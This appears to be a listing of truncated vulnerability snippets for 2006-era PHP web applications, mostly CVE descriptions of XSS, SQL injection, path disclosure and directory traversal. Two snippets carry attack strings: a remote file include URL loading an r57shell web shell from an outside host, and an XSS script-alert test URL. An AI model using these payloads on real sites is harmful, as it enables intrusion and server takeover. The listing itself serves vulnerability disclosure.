CVE-2006-3235

Multiple cross-site scripting XSS vulnerabilities in index.php in FineShop 3.0 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 promocja, 2 wysw, or 3 idproduc parameters...

CVE-2006-3237

Cross-site scripting XSS vulnerability in index.php in Enterprise Groupware System EGS 1.2.4 and earlier allows remote attackers to inject arbitrary web script or HTML via the module parameter...

dotwidgeta.txt

Multiple file include exploits in dotwidgeta Version 2 script type : dotwidgeta Version 2 bug found by : sweet-devil team : site-down type : file include exploits : index.php http://www.example.com/path/index.php?filepath=http://yoursite/r57shell.txt? ecrire.php...

aeDating 4.1 XSS

Product of AEwebworks Dating Software http://www.aewebworks.com/ --------------------------- Cross Site Scripting XSS --------------------------- http://target.xx:80/index.php?Sex="scriptalert/Elipsis+Security+Test//script&Mode=last ^"G4" Template work^ --- POST /joinform.php HTTP/1.1 Content-Typ...

CVE-2006-3221

SQL injection vulnerability in index.php in DataLife Engine 4.1 and earlier allows remote attackers to execute arbitrary SQL commands via double-encoded values in the user parameter in a userinfo subaction...

CVE-2006-3170

CS-Forum before 0.82 allows remote attackers to obtain sensitive information via unspecified manipulations, possibly involving an empty collapse or readall parameter to index.php, which reveals the installation path in an error message...

CVE-2006-3181

The CVE-2006-3181 issue affects MobeScripts Mobile Space Community 2.0: SQL injection in index.php where the browse parameter can be abused by a remote attacker to execute arbitrary SQL commands. Affected product/component: index.php in the Mobile Space Community 2.0 package (MobeScripts). Root c...

CVE-2006-3181

SQL injection vulnerability in index.php in MobeScripts Mobile Space Community 2.0 allows remote attackers to execute arbitrary SQL commands via the browse parameter...

CVE-2006-3195

CVE-2006-3195 describes a cross-site scripting (XSS) vulnerability in the Singapore CMS prior to 0.10.0, exploitable via the template parameter in index.php. The root cause is insufficient sanitization of the template parameter, allowing remote attackers to inject arbitrary web script or HTML tha...

CVE-2006-3196

index.php in singapore 0.10.0 and earlier allows remote attackers to obtain the installation path via an invalid template parameter, which reveals the path in an error message...

CVE-2006-3182

Directory traversal vulnerability in index.php in MobeScripts Mobile Space Community 2.0 allows remote attackers to read arbitrary files via a .. dot dot in the uid parameter in the rss page...

CVE-2006-3196

CVE-2006-3196 affects the Singapore CMS (versions 0.10.0 and earlier). The flaw lies in index.php where an invalid template parameter causes an error message that reveals the installation path, enabling a remote attacker to obtain the server path. The connected documents confirm the vulnerability...

CVE-2006-3194

CVE-2006-3194 affects the Singapore project up to version 0.10.0 and earlier. A directory traversal flaw in index.php allows remote attackers to read arbitrary files by injecting a .. sequence and a trailing null (%00) byte into the (1) gallery or (2) template parameters. The vulnerability enable...

CVE-2006-3158

index.php in Eduha Meeting does not properly restrict file extensions before permitting a file upload, which allows remote attackers to bypass security checks and upload or execute arbitrary php code via the add action...

CVE-2006-3138

Multiple cross-site scripting XSS vulnerabilities in phpMyDirectory 10.4.5 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 PIC parameter in offers-pix.php, 2 from parameter in cp/index.php, and 3 action parameter in cp/adminindex.php...

CVE-2006-3150

SQL injection vulnerability in index.php in CavoxCms 1.0.16 and earlier allows remote attackers to execute arbitrary SQL commands via the page parameter...

CVE-2006-3140

CVE-2006-3140: SQL injection in index.php of openCI 1.0 BETA 0.20.1 and earlier; remote attackers can manipulate the id parameter to execute arbitrary SQL commands. This is a network-accessible vulnerability with low complexity and no authentication, impacting data confidentiality/ integrity/ ava...

CVE-2006-3151

CVE-2006-3151 is a cross-site scripting (XSS) vulnerability in AssoCIateD (ACID) 1.2.0 and earlier. It affects index.php via the menu parameter, allowing remote attackers to inject arbitrary web script or HTML. No remediation or exploit details are provided in the connected documents.

CVE-2006-3140

SQL injection vulnerability in index.php in openCI 1.0 BETA 0.20.1 and earlier allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2006-3157

CVE-2006-3157 describes a Cross-site scripting (XSS) vulnerability in index.php of Thinkfactory UltimateGoogle 1.00 and earlier, exploitable via the REQ parameter to inject arbitrary web script or HTML. The CVSSv2 base score is 5.8 (Medium) with network attack vector and no user interaction requi...